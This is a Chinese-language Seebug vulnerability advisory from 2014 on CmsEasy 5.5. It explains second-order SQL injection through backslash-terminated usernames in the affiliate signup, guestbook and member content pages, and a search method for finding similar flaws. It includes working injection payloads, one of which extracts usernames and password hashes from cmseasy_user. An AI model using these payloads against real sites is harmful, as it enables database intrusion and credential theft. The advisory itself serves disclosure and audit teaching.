CmsEasy最新版多处SQL注入附如何从一处到多处漏洞快速挖掘定位

2014-07-05T00:00:00
ID SSV:94008
Type seebug
Reporter Root
Modified 2014-07-05T00:00:00

Description

简要描述:

CmsEasy5.x——CmsEasy_5.5_UTF-8_20140605.rar 通过一晚上分析,找到一处SQL注入 然后用了一早上分析这个注入点,找到多处 为了不刷RANK,免得一个一个提交麻烦,就全部提交了 附上如何通过一个问题点,快速的找到多个同样问题的漏洞点并利用 估计这是大牛在用,或者已经不用的方法,这里只是抛砖引玉,多多交流

详细说明:

首先来看看union_act.php:

function register_action() { $r = $this->_union->getrow(array('userid'=>$this->view->data['userid'])); if($r) { echo '<script type="text/javascript">alert("'.lang('你已经申请,转入联盟页面!').'")</script>'; front::refresh(url::create('union/stats')); } if(front::post('submit')) { if(!config::get('reg_on')) { front::flash(lang('网站已经关闭注册!')); return; } if(config::get('verifycode')) { if(!session::get('verify') ||front::post('verify')<>session::get('verify')) { front::flash(lang('验证码错误!')); return; } } if(front::post('nickname') != strip_tags(front::post('nickname')) ||front::post('nickname') != htmlspecialchars(front::post('nickname')) ) { front::flash(lang('姓名不规范!')); return; } if(strlen(front::post('nickname'))<4) { front::flash(lang('请填写认真填写真实姓名!')); return; } if(strlen(front::post('payaccount'))<1) { front::flash(lang('请填写支付账号!')); return; } if(strlen(front::post('tel'))<1) { front::flash(lang('请填写联系电话!')); return; } if(strlen(front::post('address'))<1) { front::flash(lang('请填写联系地址!')); return; } ……省略…… $userarr = array(); $userarr['nickname'] = front::$post['nickname']; $userarr['tel'] = front::$post['tel']; $userarr['address'] = front::$post['address']; //$userarr['e_mail'] = front::$post['e_mail']; $unionarr = array(); $unionarr['userid'] = $this->view->data['userid']; $unionarr['username'] = $this->view->data['username']; $unionarr['payaccount'] = front::$post['payaccount']; $unionarr['website'] = front::$post['website']; $unionarr['profitmargin'] = union::getconfig('profitmargin'); $unionarr['regtime'] = time(); $unionarr['regip'] = front::ip(); $unionarr['passed'] = 1; //var_dump($unionarr); if(front::post('nickname') &&$this->view->data['userid']) { $insert=$this->_user->rec_update($userarr,'userid='.$this->view->user['userid']); $insert1 = $this->_union->rec_insert($unionarr); if($insert &&$insert1) front::flash(lang('申请成功!')); else { front::flash(lang('申请失败!')); return; } front::redirect(url::create('union/stats')); exit; } else { front::flash(lang('申请失败!')); return; } } }

注意这里: $insert1 = $this->_union->rec_insert($unionarr); 我们来看看rec_insert的处理:

function sql_delete($tbname,$where) { $this->condition($where); return "DELETE FROM `".$tbname."` WHERE ".$where; } function sql_insert($tbname,$row) { $sqlfield=''; $sqlvalue=''; foreach ($row as $key=>$value) { if (in_array($key,explode(',',$this->getcolslist()))) { $value=$value; $sqlfield .= $key.","; $sqlvalue .= "'".$value."',"; } } return "INSERT INTO `".$tbname."`(".substr($sqlfield,0,-1).") VALUES (".substr($sqlvalue,0,-1).")"; }

最后直接进入INSERT INTO,进入SQL语句 大家知道这里的front::$post取出来的内容都是被过滤,转义的内容,所以没办法利用 我们来看看$this->view->data['username']这个内容是什么 还是union_act.php文件:

function init() { if(!union::getconfig('enabled')) { echo '<script type="text/javascript">alert("'.lang('推广联盟未开启,转让会员中心!').'")</script>'; front::refresh(url::create('user/index')); } $user=''; if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); var_dump(cookie::get('login_username')); $user=$user->getrow(array('username'=>cookie::get('login_username'))); } if(!is_array($user) &&front::$act != 'into'&&front::$act != 'login'&&front::$act != 'register'&&front::$act != 'login_js'&&front::$act != 'login_success'&&front::$act != 'getpass'&&front::$act != 'edit'){ front::redirect(url::create('user/login')); }else{ if (is_array($user) && cookie::get('login_password') == front::cookie_encode($user['password'])) { $this->view->user = $user; $this->view->usergroupid = $user['groupid']; $obj = new usergroup(); $this->roles = $obj->getrow(array('groupid'=>$this->view->usergroupid)); } } $this->_user=new user; $this->view->form = $this->_user->get_form(); $this->view->field = $this->_user->getFields(); $this->view->primary_key=$this->_user->primary_key; $this->view->data = $this->view->user; $this->_union = new union(); $this->view->uniondata = $this->_union->getrow(array('userid'=>$this->view->data['userid'])); if(!$this->view->uniondata &&front::$act != 'register'&&front::$act != 'into') { echo '<script type="text/javascript">alert("'.lang('未申请账号,转入联盟申请页面!').'");window.location.href="'.url::create('union/register').'";</script>'; //front::refresh(url::create('union/register')); } $this->_pagesize=config::get('manage_pagesize'); }

注意这几处关系: $user=$user->getrow(array('username'=>cookie::get('login_username'))); $this->view->user = $user; $this->view->data = $this->view->user; 所以由上面三处赋值关系可以看到 $this->view->data就是当前登录用户的用户属性信息。 所以到这里我们来想一想: 要是这里的用户属性信息就是$this->view->data的内容再进入SQL语句时,能带入单引号’或者反斜杠\,那么就可能导致SQL注入。 带着这个问题,我们来看看$this->view->data即用户属性信息是如何存进数据库的,能不能带入特殊符号进入。 来看看user_act.php,看看用户注册是带入的用户信息:

function register_action() { ……省略…… if(front::post('username') &&front::post('password')) { $username=front::post('username'); $password=md5(front::post('password')); $e_mail=front::post('e_mail'); $tel=front::post('tel'); $data=array( 'username'=>$username, 'password'=>$password, 'e_mail'=>$e_mail, 'tel'=>$tel, 'groupid'=>101, 'userip'=>front::ip() ); //phpox 2011-06-10 foreach($this->view->field as $f){ $name=$f['name']; if(!preg_match('/^my_/',$name)) { unset($field[$name]); continue; } if(!setting::$var['user'][$name]['showinreg']) { continue; } $data[$name] = front::post($name); } if($this->_user->getrow(array('username'=>$username))) { front::flash(lang('该用户名已被注册!')); return; } ……省略…… $user=$data; cookie::set('login_username',$user['username']); cookie::set('login_password',front::cookie_encode($user['password'])); session::set('username',$user['username']); front::redirect(url::create('user')); exit;

可以看到这里的用户名username直接赋给了cookie[login_username] 通过测试,我们发现在注册是用户名username处可以注册反斜杠“\”,如图:

<img src="https://images.seebug.org/upload/201407/05160730d5eed7146d1f425b566a15aed4e9040d.png" alt="111.png" width="600" onerror="javascript:errimg(this);">

所以通过上面的分析与测试得出结论: 1、 注册一个用户,用户名中带反斜杠,如:222222\; 2、 登陆后,此用户的用户名进入cookie[login_username]; 3、 在会员中心,推广联盟,注册用户时,根据cookie[login_username]取出当前用户的信息,如userid,username等,直接赋给$this-&gt;view-&gt;data; 4、 在注册时,没有处理$this-&gt;view-&gt;data[‘username’],$this-&gt;view-&gt;data[‘username’]直接进入INSERT INTO SQL语句; 5、 由于用户名username中有反斜杠’\’,进入SQL语句后导致反斜杠与其后的单引号“’”结合,使单引号失效,导致SQL注入,如:’userid’,’username\’,’website’,所以最后这里的website逃逸了单引号保护,导致SQL语句执行。

然后我们来证明漏洞: 首先注册推广联盟:

<img src="https://images.seebug.org/upload/201407/05160811fc9220cc383395cf11e37758221ed2da.png" alt="222.png" width="600" onerror="javascript:errimg(this);">

然后抓包,此时cookie中的cookie[login_username]为222222\,这里修改为222222\ 然后修改postdata中payaccount=,222222,USER(),2,1111111,1111111,11)# 然后提交。 数据库执行记录:

<img src="https://images.seebug.org/upload/201407/0516083134a1a52dea71c2663ab1f3e2cf3f8511.png" alt="333.png" width="600" onerror="javascript:errimg(this);">

最后看看注册推广联盟后的资料:

<img src="https://images.seebug.org/upload/201407/05160850f6c37ef78a90e5a305e642ade8abe394.png" alt="444.png" width="600" onerror="javascript:errimg(this);">

Website字段的内容已经被修改为user()的值了! =========================================华丽的分割线===================================== 通过对cmseasy的代码审计发现此问题不知一处,存在多处 问题的原理都是一样username直接进入SQL语句,但是之间的关系和利用却不一样。 下面我们来看看如何快速找出同一问题引发的大面积问题及漏洞点 也就是我们要说的如何从找到一处SQL注入漏洞到多处SQL注入漏洞。 首先我们上面分析的推广联盟注册处的SQL注入漏洞中,可以看到: 第一, 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user; 第二, 此user的属性信息$this->view->user[‘username’]被赋给了某一变量,然后进入了数据库。 那么我们先来搜索取出用户信息的文件,去掉admin文件: 全局搜索:$user=$user->getrow(array('username'=>cookie::get('login_username')))内容

<img src="https://images.seebug.org/upload/201407/0516103840253d2e6ee5102a03fc35dd59b57548.png" alt="555.png" width="600" onerror="javascript:errimg(this);">

下来看看取出user的信息是否付给$this->view->user,去掉admin文件

<img src="https://images.seebug.org/upload/201407/05161101863f11dd32bff79879327c7eced890a3.png" alt="555-1.png" width="600" onerror="javascript:errimg(this);">

然后来看看$this->view->user[‘username’]被赋值的情况,去掉admin文件 全局搜索=$this->view->user['username'],记得有个=号

<img src="https://images.seebug.org/upload/201407/05161124bf5a0bdc4933eefc2fb69cfc056192e3.png" alt="666.png" width="600" onerror="javascript:errimg(this);">

最后集合三次的搜索,满足两个条件的文件有: Guestbook_cat.php、mamage_act.php文件 来看看guestbook_act.php文件,是否存在SQL注入漏洞

function init() { …… $user=''; if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user-&gt;getrow(array('username'=&gt;cookie::get('login_username'))); } $this-&gt;view-&gt;user=$user; …… 取出了user的属性信息,并赋给了$this-&gt;view-&gt;user function index_action() { …… front::$post['checked']=0; if(empty($this-&gt;view-&gt;user)) { front::$post['userid']=0; front::$post['username']='Óοͣº'.front::$post['nickname']; }else { front::$post['userid']=$this-&gt;view-&gt;user['userid']; front::$post['username']=$this-&gt;view-&gt;user['username']; } front::$post['adddate']=date('Y-m-d H:i:s'); front::$post['ip']=front::ip(); if (!get_magic_quotes_gpc()) { front::$post['content'] = front::$post['content']; } front::$post['title']=strip_tags(front::$post['title']); $data=front::$post; $insert=$this-&gt;_table-&gt;rec_insert($data);

这里在留言时: front::$post['username']=$this->view->user['username']; 然后 $data=front::$post; $insert=$this->_table->rec_insert($data); 最后$this->view->user['username']进入了rec_insert 在rec_insert中进入了SQL语句,没有处理,导致了同样的SQL注入漏洞 只要在留言时,修改留言内容为: guesttel=333333&nickname=333333&guestemail=333333&guestqq=333333&title=333333&username=333333&content=,(SELECT CONCAT(USERNAME,0x23,PASSWORD) FROM cmseasy_user WHERE LIMIT 0,1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+ 然后在留言内容中就可得到用户账户信息。

<img src="https://images.seebug.org/upload/201407/05161233d85c1d7880eb6af7b5a883bc32ee7b99.png" alt="555-2.png" width="600" onerror="javascript:errimg(this);">

结论: 成功找到一处SQL注入漏洞 再来看看另外一个文件manage_act.php文件

function init() { $user=''; $guest = front::get('guest'); if($guest=='1'&&config::get('opguestadd')) { $user = 'Guest'; }else { if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user-&gt;getrow(array('username'=&gt;cookie::get('login_username'))); } } …… $this-&gt;view-&gt;user=$user;

取出了user的属性信息,并赋给了$this->view->user 在会员中心,内容管理处:

function add_action() { if(front::post('submit') &&$this-&gt;manage-&gt;vaild()) { $this-&gt;manage-&gt;filter(); $this-&gt;manage-&gt;save_before(); front::$post['checked']=0; front::$post['userid']=$this-&gt;view-&gt;user['userid']; front::$post['username']=$this-&gt;view-&gt;user['username']; front::$post['author']=$this-&gt;view-&gt;user['username']; front::$post['adddate']=date('Y-m-d H:i:s'); front::$post['ip']=front::ip(); $data=array(); …… $data=array_merge($data,front::$post); $insert=$this-&gt;_table-&gt;rec_insert($data);

注意这里: front::$post['username']=$this->view->user['username']; front::$post['author']=$this->view->user['username']; $data=array_merge($data,front::$post); $insert=$this->_table->rec_insert($data); 最后$this->view->user['username']也进入了数据库,也导致了SQL注入。 具体构造就不给出了。 结论: 成功找到一处SQL注入漏洞 下面我们再来扩展: 第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user; 第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]被赋给了某一变量,然后进入了数据库。 第三、 在搜索赋值操作时,如全局搜索:$this->view->user=$user时,再搜索一次 $this->view->user = $user,注意这里=号两边的空格 然后根据上面的步骤,我们来验证一下: 全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username')) 全局搜索: $this->view->user = $user以及$this->view->user=$user 然后继续全局搜索 =$this->view->user以及= $this->view->user 最后全局搜索 = $this->view->data['username']以及$this->view->data['username'] 最后又搜索到union_act.php文件 正如我们最开始分析的推广联盟注册时的漏洞一样! 结论: 成功找到一处SQL注入漏洞 下面我们再来一次扩展: 第一、 取出username对应的属性信息:$user=$user->getrow(array('username'=>cookie::get('login_username')));并付给$this->view->user;或者赋给其他;或者$this->view->user再次赋给其他,如$this->view->data = $this->view->user; 第二、 此user的属性信息$this->view->user[‘username’]或者$this->view->data[‘username’]通过拼接赋给一个变量,或者直接进入SQL语句 第三、 如xxx.$this->view->user['username'].yyy 下面我们来验证一下: 全局搜索$user=$user->getrow(array('username'=>cookie::get('login_username')) 全局搜索: $this->view->user = $user以及$this->view->user=$user 最后全局搜索 .$this->view->user['username']以及$this->view->user['username']. 最后又能搜到vote_act.php

function init() { if(cookie::get('login_username') &&cookie::get('login_password')) { $user=new user(); $user=$user-&gt;getrow(array('username'=&gt;cookie::get('login_username'))); if(is_array($user) &&cookie::get('login_password')==front::cookie_encode($user['password'])) { $this-&gt;view-&gt;user=$user; var_dump($this-&gt;view-&gt;user); $this-&gt;view-&gt;usergroupid=$user['groupid']; } }

然后再投票时:

function do_action() { …… $vote_data=array_merge($_vote,array('votes'=&gt;$votes,'aid'=&gt;front::post('aid'),'users'=&gt;$_vote['users'].$this-&gt;view-&gt;user['username'].',')); $vote-&gt;rec_replace($vote_data,front::post('aid')); front::flash(lang('ͶƱ³É¹¦£¡'));

可以看打开$this->view->user['username']通过拼接进入$vote_data数组 然后$vote_data数字进入rec_replace,进入SQL语句 但是这里$this->view->user['username']在拼接时,最后面加上了一个逗号: 'users'=>$_vote['users'].$this->view->user['username'].',' 这样的话,username的反斜杠就数去对单引号的注释作用了。 结论: 成功找到一处SQL注入问题点,但是无法利用,漏洞查找失败! 总结: 通过上面的方法首先找到一处注入点,分析此问题的出发点及原理,以及整个过程的利用 然后通过整个过程中的关键字匹配,快速找到其他问题点,快速找到漏洞!

漏洞证明:

<img src="https://images.seebug.org/upload/201407/05161616bd806937c86b2ea4343f19b84f656a31.png" alt="444.png" width="600" onerror="javascript:errimg(this);">

<img src="https://images.seebug.org/upload/201407/05161629e051d0354267728900c63f077339e091.png" alt="555-2.png" width="600" onerror="javascript:errimg(this);">